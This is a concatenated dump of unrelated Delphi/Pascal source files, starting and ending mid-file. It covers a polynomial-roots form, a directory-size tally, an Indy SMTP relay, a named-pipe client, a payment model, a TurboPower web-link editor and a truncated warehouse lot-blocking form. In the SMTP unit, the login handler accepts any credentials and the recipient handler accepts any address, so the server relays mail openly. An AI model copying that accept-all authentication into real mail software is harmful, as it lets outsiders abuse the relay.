Pol_N_MemoMouseWheelUp(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); procedure Racionales_MemoClick(Sender: TObject); procedure Racionales_MemoMouseWheelDown(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); procedure Racionales_MemoMouseWheelUp(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); procedure SalirClick(Sender: TObject); procedure X_LabelClick(Sender: TObject); private Procedure actualiza_Pol_N();//actualiza la visualizacion del polinomio Function ObtieneX(): Boolean; //Carga un X para Evaluar Polinomio Procedure actualiza_evalua(); //Actualiza el Polinomio evaluado en un valor X Function Obtiene_Mascara(): Boolean; //Para Actualizar Raices Racionales Procedure actualiza_Posibles_Raices_Enteras();//Actualiza en Form Procedure actualiza_Posibles_Raices_Racionales();//Actualiza en Form Procedure Check_Enabled(); public //Variables Principales Pol_N: cls_Polin; //Polinomio Principal de GradoN Pol_N_load: boolean; //Indica si el polinomio esta cargado MASC_RAC: byte; //Guarda la Mascara para Posibles Raices Racionales X: extended; // Guarda el valor X para evaluar el Polinomio --> P(X) const MIN_MASC = 0; MAX_MASC = 11; end; var Form1: TForm1; implementation {$R *.lfm} USES Unit_GUI_Form2, Unit_GUI_Form3, Unit_GUI_Form4_Cotas, Unit_GUI_Form5, SysUtils, Dialogs, VectorD; procedure TForm1.FormCreate(Sender: TObject); begin Pol_N_load:= false; self.actualiza(); end; Procedure TForm1.actualiza(); Begin if (not Pol_N_Load)then Begin Pol_N:= cls_Polin.Crear(3); self.Pol_N_Memo.Lines.Text:= '<< Click para editar >>'; self.Caption:= 'Tp3 - Linkin - Polinomio << Grado N >>'; MASC_RAC:= 2; if (Form4<>nil) then Form4.Close; if (Form5<>nil) then Form5.Close; end else Begin actualiza_Pol_N(); actualiza_evalua(); actualiza_Posibles_Raices_Enteras(); MASC_RAC:= 2; actualiza_Posibles_Raices_Racionales(); if (Form4<>nil) then Begin Form4.actualiza(); Form4.Show; end; if (Form5<>nil) then Begin Form5.actualiza(); Form5.Show; end; end; self.check_enabled(); end; Procedure TForm1.actualiza_Pol_N(); Begin self.Pol_N_Memo.Lines.Text:= Pol_N.Coef_To_String(); Self.Caption:='Tp3 - Linkin - Polinomio << Grado '+IntToStr(Pol_N.Grado())+' >>'; end; Function TForm1.ObtieneX(): Boolean; Var cad: string; pos: integer; Begin cad:= InputBox('Cambiar Valor P(X)','Ingrese X: ', FloatToStr(X)); if (cad <> '') then Begin Val(cad,X,pos); if (pos=0) then RESULT:= true else RESULT:= False; end; end; Function TForm1.Obtiene_Mascara(): Boolean; //Para Actualizar Raices Racionales Var cad: string; num, pos: integer; Begin cad:= InputBox('Mascara de Decimales','Cantidad: ',IntToStr(MASC_RAC)); VAL(cad,num,pos); if (pos=0) then Begin if ((MIN_MASC<= num) and (num<= MAX_MASC)) then Begin MASC_RAC:= num; RESULT:= True; end else RESULT:= False; end else RESULT:= False; end; Procedure TForm1.actualiza_evalua(); Begin X_Label.Caption:= 'P('+FloatToStr(X)+') = '+FloatToStr(Pol_N.evaluar(X)); end; procedure TForm1.X_LabelClick(Sender: TObject); var valor: extended; begin if obtieneX() then actualiza_evalua(); end; Procedure TForm1.actualiza_Posibles_Raices_Enteras(); Var raices: cls_Vector; Begin raices:= Pol_N.PosiblesRaicesEnteras(); enteras_Memo.Lines.Text:= raices.ToString(); raices.Free; end; Procedure TForm1.actualiza_Posibles_Raices_Racionales(); Var raices: cls_Vector; Begin raices:= Pol_N.PosiblesRaicesRacionales(); Racionales_Memo.Lines.Text:= raices.ToString(MASC_RAC); raices.Free; end; procedure TForm1.Item_EditarClick(Sender: TObject); begin //Tambien accede aqui onClick--->Pol_N_Memo Form2:= TForm2.Crear(nil, Pol_N, 0); Form2.ShowModal; if (Form2.ModalResult = mrOk) then Begin Self.Pol_N_load:= true; self.actualiza(); end; Form2.Free; Form2:= nil; //FreeAndNil(Form2); end; procedure TForm1.FormKeyPress(Sender: TObject; var Key: char); begin if (key = #27) then Close; end; procedure TForm1.Bairstrow_ItemClick(Sender: TObject); begin if Pol_N_load then Begin; if Pol_N.Grado()>2 then Begin Pol_N.bairstow(0.000000000000001, 0, 0); showmessage(Pol_N.Raices_To_String(2)); end else ShowMessage('Bairstow: Tiene que ingresar un Polinomio de grado mayor a 2'); end; end; procedure TForm1.CotasClick(Sender: TObject); begin if (Form4=nil) then Begin Form4:= TForm4.Crear(nil,Pol_N); Form4.Show; end else Actualiza(); end; procedure TForm1.Item_Div1Click(Sender: TObject); Var Raices: cls_Vector; begin Self.Visible:= False; Form3:= TForm3.Crear(nil,Pol_N,1); Form3.ShowModal; Form3.Free; Form3:= nil; Actualiza(); end; procedure TForm1.Item_Div2Click(Sender: TObject); Var Raices: cls_Vector; begin Self.Visible:= False; Form3:= TForm3.Crear(nil,Pol_N,2); Form3.ShowModal; Form3.Free; Form3:= nil; Actualiza(); end; procedure TForm1.item_invertirClick(Sender: TObject); begin if (Pol_N_load)then begin Pol_N.band_A0:= not Pol_N.band_A0; self.Pol_N_Memo.Lines.Text:= Pol_N.Coef_To_String(); end; end; procedure TForm1.Item_LimpiarClick(Sender: TObject); begin Pol_N_load:= False; self.actualiza(); end; procedure TForm1.Newton_ItemClick(Sender: TObject); begin if (Form5=nil) then Begin Form5:= TForm5.Crear(nil,Pol_N); Form5.Show; end else Actualiza(); end; procedure TForm1.Pol_N_MemoMouseWheelDown(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); begin If (Pol_N.Masc > MIN_MASC) then Pol_N.Masc:= Pol_N.Masc -1 else Pol_N.Masc:= self.MAX_MASC; self.Pol_N_Memo.Lines.Text:= Pol_N.Coef_To_String(); end; procedure TForm1.Pol_N_MemoMouseWheelUp(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); begin If (Pol_N.Masc < self.MAX_MASC) then Pol_N.Masc:= Pol_N.Masc +1 else Pol_N.Masc:= self.MIN_MASC; self.Pol_N_Memo.Lines.Text:= Pol_N.Coef_To_String(); end; procedure TForm1.Racionales_MemoClick(Sender: TObject); Var masc: integer; begin if Obtiene_Mascara()then actualiza_Posibles_Raices_Racionales(); end; procedure TForm1.Racionales_MemoMouseWheelDown(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); VAR raices: cls_Vector; begin //Posibles Raices Racionales raices:= Pol_N.PosiblesRaicesRacionales(); if (MASC_RAC=MIN_MASC+1) then MASC_RAC:= MAX_MASC else dec(MASC_RAC); Racionales_Memo.Lines.Text:= raices.ToString(MASC_RAC); raices.Free; end; procedure TForm1.Racionales_MemoMouseWheelUp(Sender: TObject; Shift: TShiftState; MousePos: TPoint; var Handled: Boolean); VAR raices: cls_Vector; begin //Posibles Raices Racionales raices:= Pol_N.PosiblesRaicesRacionales(); if (MASC_RAC=MAX_MASC) then MASC_RAC:= MIN_MASC +1 else inc(MASC_RAC); Racionales_Memo.Lines.Text:= raices.ToString(MASC_RAC); raices.Free; end; procedure TForm1.SalirClick(Sender: TObject); begin self.Close; end; Procedure TForm1.check_enabled(); Begin if (not Pol_N_load) then Begin self.Item_invertir.Visible:= False; self.Item_invertir.Enabled:= False; self.Item_Limpiar.Visible:= False; self.Item_Limpiar.Enabled:= False; self.Item_Div1.Visible:= False; self.Item_Div1.Enabled:= False; self.Item_Div2.Visible:= False; self.Item_Div2.Enabled:= False; self.Raices_Menu.Visible:= False; self.X_Label.Visible:= False; self.Enteras_GroupBox.Visible:= False; self.Racionales_GroupBox.Visible:= False; end else Begin // Pol_N esta cargado self.Item_invertir.Visible:= True; self.Item_invertir.Enabled:= True; self.Item_Limpiar.Visible:= True; self.Item_Limpiar.Enabled:= True; self.Item_Div1.Visible:= True; self.Item_Div1.Enabled:= True; self.Item_Div2.Visible:= True; self.Item_Div2.Enabled:= True; self.Raices_Menu.Visible:= True; self.X_Label.Visible:= True; self.Enteras_GroupBox.Visible:= True; self.Racionales_GroupBox.Visible:= True; end; end; BEGIN END.
program DIRAUFB2 ( DIROUT , DIROUT2 ) ; //********************************************************* // Aus DIROUT-File (siehe DIRAUFB) werden die ENDDIR Zeilen // herausgeholt und die Groessenangaben pro Untervezeichnis // aufsummiert und den darueberliegenden Verzeichnissen // zugeordnet //********************************************************* // Autor: Bernd Oppolzer - November 2022 // New Stanford Pascal //********************************************************* const MAXSUB = 20 ; // maximum number of subdirs in path var DIROUT : TEXT ; DIROUT2 : TEXT ; DIRZEILE : STRING ( 250 ) ; AKTDIR : STRING ( 250 ) ; GROESSE : STRING ( 20 ) ; GROESSEDIR : DECIMAL ( 15 ) ; GROESSETOTAL : array [ 1 .. MAXSUB ] of DECIMAL ( 15 ) ; X : INTEGER ; NR : INTEGER ; function DVAL ( const S : STRING ) : DECIMAL ( 13 ) ; var D : DECIMAL ( 13 ) ; I : INTEGER ; begin (* DVAL *) D := 0.0 ; for I := 1 to LENGTH ( S ) do if S [ I ] in [ '0' .. '9' ] then D := 10.0 * D + ORD ( S [ I ] ) - ORD ( '0' ) ; DVAL := D end (* DVAL *) ; function GLEICHER_PFAD ( const P1 , P2 : STRING ) : BOOLEAN ; var X1 : STRING ( 250 ) ; X2 : STRING ( 250 ) ; IX1 , IX2 : INTEGER ; begin (* GLEICHER_PFAD *) if LENGTH ( P1 ) < LENGTH ( P2 ) then begin X1 := P1 ; X2 := P2 end (* then *) else begin X1 := P2 ; X2 := P1 end (* else *) ; //************************************************* // X1 now contains the shorter of the two strings // if x1 equal to left substr of x2, then x1 is // super directory of x2 //************************************************* if SUBSTR ( X2 , 1 , LENGTH ( X1 ) ) = X1 then begin GLEICHER_PFAD := TRUE ; return end (* then *) ; //********************************************* // if not, eliminate last subdir of x1 and x2 // and check, if the rest is equal //********************************************* IX1 := LENGTH ( X1 ) ; while X1 [ IX1 ] <> '\' do IX1 := IX1 - 1 ; IX2 := LENGTH ( X2 ) ; while X2 [ IX2 ] <> '\' do IX2 := IX2 - 1 ; if IX1 <> IX2 then begin GLEICHER_PFAD := FALSE ; return end (* then *) ; GLEICHER_PFAD := SUBSTR ( X1 , 1 , IX1 ) = SUBSTR ( X2 , 1 , IX2 ) ; end (* GLEICHER_PFAD *) ; function NROFSEPS ( const P : STRING ) : INTEGER ; var IX : INTEGER ; C : INTEGER := 0 ; begin (* NROFSEPS *) for IX := 1 to LENGTH ( P ) do if P [ IX ] = '\' then C := C + 1 ; NROFSEPS := C end (* NROFSEPS *) ; begin (* HAUPTPROGRAMM *) for X := 1 to MAXSUB do GROESSETOTAL [ X ] := 0 ; RESET ( DIROUT ) ; REWRITE ( DIROUT2 ) ; while not EOF ( DIROUT ) do begin //************************************ // zeile einlesen von directory-file //************************************ READLN ( DIROUT , DIRZEILE ) ; if LEFT ( DIRZEILE , 8 ) <> 'EndDir: ' then continue ; //*********************************** // enddir-zeile mit groessenangaben //*********************************** X := INDEX ( DIRZEILE , ' Size = ' ) ; AKTDIR := SUBSTR ( DIRZEILE , 9 , X - 8 ) ; AKTDIR := TRIM ( AKTDIR ) ; //***************************************************** // wenn das aktuelle verzeichnis im gleichen baum ist // wie das verzeichnis davor, dann aufsummieren // ansonsten groessetotal auf Null setzen //***************************************************** X := X + 7 ; GROESSE := SUBSTR ( DIRZEILE , X ) ; GROESSEDIR := DVAL ( GROESSE ) ; //***************************************************** // check number of dir separators in path name // this number defines which sums have to be // resetted when printing //***************************************************** NR := NROFSEPS ( AKTDIR ) ; for X := 1 to NR do GROESSETOTAL [ X ] := GROESSETOTAL [ X ] + GROESSEDIR ; for X := NR + 1 to MAXSUB do GROESSETOTAL [ X ] := 0 ; AKTDIR := LEFT ( AKTDIR , 50 ) ; WRITELN ( DIROUT2 , AKTDIR , GROESSE : 15 , GROESSETOTAL [ NR ] : 15 ) ; GROESSETOTAL [ NR ] := 0 ; end (* while *) ; end (* HAUPTPROGRAMM *) .
unit EmailOrdering.Models.EmailServer; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdCustomTCPServer, IdTCPServer, IdCmdTCPServer, IdExplicitTLSClientServerBase, IdSMTPServer, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTPBase, IdSMTP, EmailOrdering.Models.EmailMsg, IdContext, IdAttachment, IdMessage, DateUtils; type TEmailEvent = procedure(const msg: TEmailMsg) of object; type TEmailServer = class(TThread) private FLastEmailDateTime: TDateTime; FIdSMTPServer1: TIdSMTPServer; FIdSMTP1: TIdSMTP; procedure IdSMTPServer1MsgReceive(ASender: TIdSMTPServerContext; AMsg: TStream; var VAction: TIdDataReply); procedure RelayEmail(IdMessage: TIdMessage); procedure IdSMTPServer1RcptTo(ASender: TIdSMTPServerContext; const AAddress: string; AParams: TStrings; var VAction: TIdRCPToReply; var VForward: string); procedure IdSMTPServer1UserLogin(ASender: TIdSMTPServerContext; const AUsername, APassword: string; var VAuthenticated: Boolean); function IsAviEmail(Msg: TIdMessage): boolean; procedure SetIdSMTP1(const Value: TIdSMTP); procedure SetIdSMTPServer1(const Value: TIdSMTPServer); public OnAviEmail : TEmailEvent; property IdSMTP1: TIdSMTP read FIdSMTP1 write SetIdSMTP1; property IdSMTPServer1: TIdSMTPServer read FIdSMTPServer1 write SetIdSMTPServer1; constructor Create(port: integer); destructor Destroy; override; procedure Execute(); override; end; implementation uses EmailOrdering.Models.Config; constructor TEmailServer.Create(port: integer); begin inherited Create(True); Self.FreeOnTerminate := False; FIdSMTPServer1 := TIdSMTPServer.Create(nil); FIdSMTPServer1.DefaultPort := port; FIdSMTPServer1.ListenQueue := 15; FIdSMTPServer1.TerminateWaitTime :=5000; FIdSMTPServer1.OnMsgReceive := IdSMTPServer1MsgReceive; FIdSMTPServer1.OnRcptTo := IdSMTPServer1RcptTo; FIdSMTPServer1.OnUserLogin := IdSMTPServer1UserLogin; FLastEmailDateTime := now; end; destructor TEmailServer.Destroy; begin inherited; self.FIdSMTPServer1.Free; self.FIdSMTP1.Free; end; procedure TEmailServer.Execute; begin inherited; FIdSMTP1 := TIdSMTP.Create(nil); FIdSMTPServer1.Active := True; FIdSMTP1.Host := '127.0.0.1'; FIdSMTP1.Port := IdSMTPServer1.DefaultPort; if not FIdSMTP1.Connected then FIdSMTP1.Connect; end; procedure TEmailServer.IdSMTPServer1MsgReceive(ASender: TIdSMTPServerContext; AMsg: TStream; var VAction: TIdDataReply); var LMsg: TIdMessage; emsg: TEmailMsg; begin LMsg := TIdMessage.Create; emsg := TEmailMsg.Create; try LMsg.LoadFromStream(AMsg); if (SecondsBetween(Now, FLastEmailDateTime) < 15) then exit; FLastEmailDateTime := now; if (self.IsAviEmail(LMsg)) then begin emsg.Contents := LMsg; self.OnAviEmail(emsg); end else begin self.RelayEmail(LMsg); end; finally LMsg.Free; emsg.Free; end; end; procedure TEmailServer.RelayEmail(IdMessage: TIdMessage); var SMTP: TIdSMTP; LConfig : TConfig; begin SMTP := TIdSMTP.Create(nil); try LConfig := LConfig.GetInstance; SMTP.Host := LConfig.smtpHost; SMTP.Port := LConfig.smtpPort; SMTP.AuthType := LConfig.GetAuthType; SMTP.Username := LConfig.smtpUsername; SMTP.Password := LConfig.smtpPassword; SMTP.Connect; SMTP.Send(IdMessage); finally SMTP.Free; end; end; procedure TEmailServer.IdSMTPServer1RcptTo(ASender: TIdSMTPServerContext; const AAddress: string; AParams: TStrings; var VAction: TIdRCPToReply; var VForward: string); begin VAction := rAddressOk; end; procedure TEmailServer.IdSMTPServer1UserLogin(ASender: TIdSMTPServerContext; const AUsername, APassword: string; var VAuthenticated: Boolean); begin VAuthenticated := True; end; function TEmailServer.IsAviEmail(Msg: TIdMessage): boolean; var I: Integer; begin Result:= False; for I := 0 to Msg.Recipients.Count - 1 do if LowerCase(Msg.Recipients[I].Address) = 'avimark@wddc.com' then Result:= True; if not Result then exit; if Msg.MessageParts.Count < 2 then Result := false else if AnsiCompareText(Msg.MessageParts[1].filename, 'AVIPO.TXT') <> 0 then Result := False else Result := True; end; {$region 'Getters and Setters'} procedure TEmailServer.SetIdSMTP1(const Value: TIdSMTP); begin FIdSMTP1 := Value; end; procedure TEmailServer.SetIdSMTPServer1(const Value: TIdSMTPServer); begin FIdSMTPServer1 := Value; end; {$endregion} end.
unit pipe; interface uses Winapi.Windows; type TPipeClient = class private { Private declarations } hPipe: THANDLE; // дескриптор buf: array [0 .. 1000] of byte; procedure thisWriteFile(var Buffer; numberOfbytesToWrite: DWORD); procedure thisReadFile(var Buffer; numberOfbytesToRead: DWORD); public { Public declarations } Constructor Create(pipe_server: string); procedure WriteInt(v: LONGWORD); function ReadInt: LONGWORD; procedure WriteString(s: string); function ReadString: string; end; implementation uses sysutils, System.WideStrUtils; type _LONGWORD_BYTES = record case Integer of 0: (bytes: array [0 .. 3] of byte); 1: (value: LONGWORD); end; procedure terminate_error(error_text: string); var f: TextFile; begin AssignFile(f, ExtractFileDir(paramstr(0)) + '\pipe_fail.txt'); ReWrite(f); WriteLn(f, error_text); CloseFile(f); ExitProcess(1); end; Constructor TPipeClient.Create(pipe_server: string); begin hPipe := CreateFileW(PWideChar('\\.\pipe\$' + pipe_server + '$'), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0); if hPipe = INVALID_HANDLE_VALUE then terminate_error('hPipe = INVALID_HANDLE_VALUE'); end; procedure TPipeClient.thisReadFile(var Buffer; numberOfbytesToRead: DWORD); var readed_count: DWORD; begin if not ReadFile(hPipe, Buffer, numberOfbytesToRead, readed_count, nil) then begin terminate_error('ReadFile'); end; if readed_count <> numberOfbytesToRead then begin terminate_error(Format('ReadFile: readed_count=%d, must be %d', [readed_count, numberOfbytesToRead])); end; end; function TPipeClient.ReadInt: LONGWORD; var x: _LONGWORD_BYTES; readed_count: DWORD; begin if not ReadFile(hPipe, x.bytes, 4, readed_count, nil) then begin terminate_error('ReadInt: ReadFile error'); end; if readed_count <> 4 then begin terminate_error('ReadInt: readed_count <> 4'); end; result := x.value; end; procedure TPipeClient.WriteInt(v: LONGWORD); var writen_count: DWORD; x: _LONGWORD_BYTES; begin x.value := v; if not(WriteFile(hPipe, x.bytes, 4, writen_count, nil)) then begin terminate_error('WriteInt: WriteFile error'); end; if writen_count <> 4 then begin terminate_error('WriteInt: writen_count <> 4'); end; end; procedure TPipeClient.thisWriteFile(var Buffer; numberOfbytesToWrite: DWORD); var writen_count: DWORD; begin if not(WriteFile(hPipe, Buffer, numberOfbytesToWrite, writen_count, nil)) then begin terminate_error('WriteFile'); end; if writen_count <> numberOfbytesToWrite then begin terminate_error(Format('WriteFile: writen_count=%d, must be %d', [writen_count, numberOfbytesToWrite])); end; end; procedure TPipeClient.WriteString(s: string); var len: Integer; ptr_bytes: TBytes; begin ptr_bytes := WideBytesOf(s); len := Length(ptr_bytes); WriteInt(len); thisWriteFile(ptr_bytes[0], len); end; function TPipeClient.ReadString: string; var readed_count: DWORD; len: LONGWORD; i: Integer; Buffer: TBytes; Str: string; begin len := ReadInt; if len = 0 then exit(''); SetLength(Buffer, len); thisReadFile(Buffer[0], len); result := WideStringOf(Buffer); end; end.
unit MFichas.Model.Pagamento; interface uses MFichas.Model.Venda.Interfaces, MFichas.Model.Pagamento.Interfaces, MFichas.Model.Pagamento.Formas.Factory, MFichas.Model.Entidade.VENDAPAGAMENTOS, MFichas.Model.Conexao.Factory, MFichas.Model.Conexao.Interfaces, MFichas.Model.Entidade.VENDA, ORMBR.Container.ObjectSet, ORMBR.Container.ObjectSet.Interfaces; type TModelPagamento = class(TInterfacedObject, iModelPagamento) private [weak] FParent: iModelVenda; FConn : iModelConexaoSQL; FDAO : iContainerObjectSet<TVENDAPAGAMENTOS>; constructor Create(AParent: iModelVenda); public destructor Destroy; override; class function New(AParent: iModelVenda): iModelPagamento; function Dinheiro : iModelPagamentoMetodos; function CartaoDeDebito : iModelPagamentoMetodos; function CartaoDeCredito: iModelPagamentoMetodos; function MetodoDePagamento: iModelPagamentoMetodos; function DAO : iContainerObjectSet<TVENDAPAGAMENTOS>; function EntidadeDeVenda: TVENDA; end; implementation { TModelPagamento } function TModelPagamento.CartaoDeCredito: iModelPagamentoMetodos; begin Result := TModelPagamentoFormasFactory.New.CartaoCredito(Self); end; function TModelPagamento.CartaoDeDebito: iModelPagamentoMetodos; begin Result := TModelPagamentoFormasFactory.New.CartaoDebito(Self); end; constructor TModelPagamento.Create(AParent: iModelVenda); begin FParent := AParent; FConn := TModelConexaoFactory.New.ConexaoSQL; FDAO := TContainerObjectSet<TVENDAPAGAMENTOS>.Create(FConn.Conn, 10); end; function TModelPagamento.DAO: iContainerObjectSet<TVENDAPAGAMENTOS>; begin Result := FDAO; end; destructor TModelPagamento.Destroy; begin inherited; end; function TModelPagamento.Dinheiro: iModelPagamentoMetodos; begin Result := TModelPagamentoFormasFactory.New.Dinheiro(Self); end; function TModelPagamento.EntidadeDeVenda: TVENDA; begin Result := FParent.Entidade; end; function TModelPagamento.MetodoDePagamento: iModelPagamentoMetodos; begin end; class function TModelPagamento.New(AParent: iModelVenda): iModelPagamento; begin Result := Self.Create(AParent); end; end.
{$I OVC.INC} {$B-} {Complete Boolean Evaluation} {$I+} {Input/Output-Checking} {$P+} {Open Parameters} {$T-} {Typed @ Operator} {$W-} {Windows Stack Frame} {$X+} {Extended Syntax} {$IFNDEF Win32} {$G+} {286 Instructions} {$N+} {Numeric Coprocessor} {$C MOVEABLE,DEMANDLOAD,DISCARDABLE} {$ENDIF} {*********************************************************} {* OVCWEBP0.PAS 2.17 *} {* Copyright (c) 1995-98 TurboPower Software Co *} {* All rights reserved. *} {*********************************************************} unit OvcWebP0; {-Component editor to provide web access} {$I l3Delphi.inc } interface uses {$IFDEF Win32} Windows, {$ELSE} WinTypes, WinProcs, {$ENDIF} {$IfDef Delphi6} DesignIntf, DesignEditors, {$Else Delphi6} DsgnIntf, {$EndIf Delphi6} Classes, Controls, Dialogs, ShellApi, TypInfo, OvcData; const WebText = 'TurboPower''s WEB Page'; MailText = 'Send mail to TurboPower'; type TOvcWebEditor = class(TDefaultEditor) public procedure ExecuteVerb(Index : Integer); override; function GetVerb(Index : Integer) : AnsiString; override; function GetVerbCount : Integer; override; end; procedure ShellWebCall; procedure ShellMailCall; implementation procedure ShellWebCall; begin if ShellExecute(0, 'open', 'http://www.turbopower.com', '', '', SW_SHOWNORMAL) <= 32 then ShowMessage('Unable to start web browser. Make sure you have it properly set-up on your system.'); end; procedure ShellMailCall; begin if ShellExecute(0, 'open', 'mailto:support@turbopower.com', '', '', SW_SHOWNORMAL) <= 32 then ShowMessage('Unable to start mail client. Make sure you have it properly set-up on your system.'); end; {*** TOvcWebEditor ***} procedure TOvcWebEditor.ExecuteVerb(Index : Integer); begin if Index = 0 then ShellWebCall else if Index = 1 then ShellMailCall; end; function TOvcWebEditor.GetVerb(Index : Integer) : AnsiString; begin case Index of 0 : Result := WebText; 1 : Result := MailText; else Result := '?'; end; end; function TOvcWebEditor.GetVerbCount : Integer; begin Result := 2; end; end.
unit uControleBloqueioLote; interface uses udmBloqueio, uIntegracaoUnilever, Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Data.DB, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.Grids, Vcl.DBGrids; type TfrmControleBloqueioLote = class(TForm) gridConsulta: TDBGrid; ScrollBox1: TScrollBox; pnlTop: TPanel; pnlBottom: TPanel; btnIniciar: TButton; btnParar: TButton; lblStatus: TLabel; timer: TTimer; procedure FormShow(Sender: TObject); procedure FormCreate(Sender: TObject); procedure timerTimer(Sender: TObject); procedure btnIniciarClick(Sender: TObject); procedure btnPararClick(Sender: TObject); private { Private declarations } procedure AbrirDataSet; procedure ExecutaConfirmacao; procedure InsereMovimento; procedure AtualizaDestinacao(const pLPN: string); procedure AtualizaEncerramento(const pLPN: string); procedure Parada; public { Public declarations } iControle, iTempo : Integer; lParada : Boolean; end; var frmControleBloqueioLote: TfrmControleBloqueioLote; implementation {$R *.dfm} { TfrmControleBloqueioLote } procedure TfrmControleBloqueioLote.AbrirDataSet; begin with dmBloqueio.stpConsultaBloqueioLote do begin Close; ParamByName('@cd_parametro').AsInteger := 0; ParamByName('@cd_lpn_produto').AsString := ''; ParamByName('@ic_encerrado').AsString := 'N'; ParamByName('@cd_usuario').AsInteger := 0; Open; end; end; procedure TfrmControleBloqueioLote.AtualizaDestinacao(const pLPN: string); begin with dmBloqueio do begin qryAtualizaMovimentoDestinacao.Close; qryAtualizaMovimentoDestinacao.ParamByName('lpn').AsString := pLPN; qryAtualizaMovimentoDestinacao.ExecSQL; qryAtualizaMovimentoDestinacao.Close; end; end; procedure TfrmControleBloqueioLote.AtualizaEncerramento(const pLPN: string); begin with dmBloqueio do begin qryAtualizaMovimentoEncerramento.Close; qryAtualizaMovimentoEncerramento.ParamByName('lpn').AsString := pLPN; qryAtualizaMovimentoEncerramento.ExecSQL; qryAtualizaMovimentoEncerramento.Close; end; end; procedure TfrmControleBloqueioLote.btnIniciarClick(Sender: TObject); begin lblStatus.Caption := 'Próxima atualização em 10 segundo(s)'; iControle := 0; lParada := False; Application.ProcessMessages; timer.Enabled := True; end; procedure TfrmControleBloqueioLote.btnPararClick(Sender: TObject); begin Parada; end; procedure TfrmControleBloqueioLote.ExecutaConfirmacao; var msgRetorno : String; lValido: Boolean; begin //******************************************************************************************************// //-->> Regra Add - Novo //-->> 1. Se tiver dados na ws_bloqueio_lote_itens e não tiver dados na identificacao_material_entrada //-->> (bloqueio futuro cod.bloqueio 13 e qtd. caixas 0); //-->> 2. Se tiver dados na ws_bloqueio_lote_itens e existir na identificacao_material_entrada //-->> (cod.bloqueio 3 e qtd. caixas na identificacao), sem que o lote esteja em OP; //-->> 3. Se tiver dados na ws_bloqueio_lote_itens e existir na identificacao_material_entrada //-->> (cod.bloqueio 3 e qtd. caixas na identificacao), com OP vinculada; //-->> Regra Des - Destinacao //-->> 1. Se tiver dados na ws_bloqueio_itens com status 2 para destinação //-->> Regra Enc - Encerramento //-->> 1. Se tiver dados na ws_bloqueio_itens com status 3 para encerramento //******************************************************************************************************// AbrirDataSet; msgRetorno := ''; lValido := False; lblStatus.Caption := 'Processando dados...'; with dmBloqueio do begin while not stpConsultaBloqueioLote.Eof do begin lblStatus.Caption := 'Processando LPN '+stpConsultaBloqueioLotenm_cod_lpn.AsString; //--------------------------------------------- //-->> Bloqueio Futuro //--------------------------------------------- if (stpConsultaBloqueioLotecd_status_bloqueio.AsInteger = 1) and (stpConsultaBloqueioLotecd_identificacao.AsInteger = 0) then begin lValido := BloqueioLote( '13', //CodAcao stpConsultaBloqueioLotecd_bloqueio_web.AsString, //CodBloqueioWeb dmBloqueio.qryParametroLogisticacd_local_bloqueio_unilever.asstring, //CodLocalBloqueio '', //EmailUsuario '0', //Qtde. Caixas stpConsultaBloqueioLotenm_cod_lpn.AsString, //Numero da LPN msgRetorno //Mensagem de Retorno ); if lValido then begin lblStatus.Caption := 'LPN '+stpConsultaBloqueioLotenm_cod_lpn.AsString+' - Bloqueado com Sucesso!'; InsereMovimento; end else lblStatus.Caption := msgRetorno; Application.ProcessMessages; Sleep(2000); end else //-------------------------------------------------- //-->> Bloqueio com Pallet Recebido e Não Utilizado //-------------------------------------------------- if (stpConsultaBloqueioLotecd_status_bloqueio.AsInteger = 1) and (stpConsultaBloqueioLotecd_identificacao.AsInteger > 0) and (stpConsultaBloqueioLoteic_utilizado.AsString = 'N') then begin lValido := BloqueioLote( '3', //CodAcao stpConsultaBloqueioLotecd_bloqueio_web.AsString, //CodBloqueioWeb dmBloqueio.qryParametroLogisticacd_local_bloqueio_unilever.asstring, //CodLocalBloqueio '', //EmailUsuario stpConsultaBloqueioLoteqt_caixa.AsString, //Qtde. Caixas stpConsultaBloqueioLotenm_cod_lpn.AsString, //Numero da LPN msgRetorno //Mensagem de Retorno ); if lValido then begin InsereMovimento; lblStatus.Caption := 'LPN '+stpConsultaBloqueioLotenm_cod_lpn.AsString+' - Bloqueado com Sucesso!' end else lblStatus.Caption := msgRetorno; Application.ProcessMessages; Sleep(2000); end else //-------------------------------------------------- //-->> Bloqueio com Pallet Recebido já Utilizado //-------------------------------------------------- if (stpConsultaBloqueioLotecd_status_bloqueio.AsInteger = 1) and (stpConsultaBloqueioLotecd_identificacao.AsInteger > 0) and (stpConsultaBloqueioLoteic_utilizado.AsString = 'S') then begin lValido := BloqueioLote( '99', //CodAcao stpConsultaBloqueioLotecd_bloqueio_web.AsString, //CodBloqueioWeb dmBloqueio.qryParametroLogisticacd_local_bloqueio_unilever.asstring, //CodLocalBloqueio '', //EmailUsuario '0', //Qtde. Caixas stpConsultaBloqueioLotenm_cod_lpn.AsString, //Numero da LPN msgRetorno //Mensagem de Retorno ); if lValido then begin InsereMovimento; lblStatus.Caption := 'LPN '+stpConsultaBloqueioLotenm_cod_lpn.AsString+' - Bloqueado com Sucesso!'; end else lblStatus.Caption := msgRetorno; Application.ProcessMessages; Sleep(2000); end else //-------------------------------------------------- //-->> Confirma a Destinação //-------------------------------------------------- if (stpConsultaBloqueioLotecd_status_bloqueio.AsInteger = 2) and (stpConsultaBloqueioLotedt_confirmacao_destinacao.AsString = '') then begin lValido := DestinacaoLote( stpConsultaBloqueioLotecd_bloqueio_web.AsString, //CodBloqueioWeb '13', //CodAcao dmBloqueio.qryParametroLogisticacd_local_bloqueio_unilever.asstring, //CodLocalBloqueio stpConsultaBloqueioLotenm_cod_lpn.AsString, //Numero da LPN msgRetorno //Mensagem de Retorno ); if lValido then begin 